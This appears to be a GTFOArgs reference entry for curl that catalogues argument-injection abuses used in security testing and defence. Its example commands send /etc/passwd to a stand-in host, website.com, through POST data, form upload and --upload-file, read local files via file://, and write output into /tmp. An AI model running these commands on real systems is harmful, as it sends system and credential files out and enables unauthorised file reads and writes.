Argument injection via curl
curlcurlSandbox: execFile · Timeout: 30s
network.transfer.upload system.file.read network.transfer.download system.file.write Send a local file to a remote server in a POST request.
curl --data @/etc/passwd http://website.com/ Send a local file to a remote server in a POST request.
curl -F 'var=@/etc/passwd' http://website.com/ Send a local file to a remote server in a POST request.
curl --upload-file /etc/passwd http://website.com/ Read local files by using the file:// schema.
curl file:///etc/passwd Downloads a file to a destination.
curl http://website.com/ -o /tmp/ Uses file-read to effectively copy files.
curl file:///etc/passwd -o /tmp/ GTFOArgs entry for curl. This binary can be used to inject arguments for execution, file operations, or other capabilities.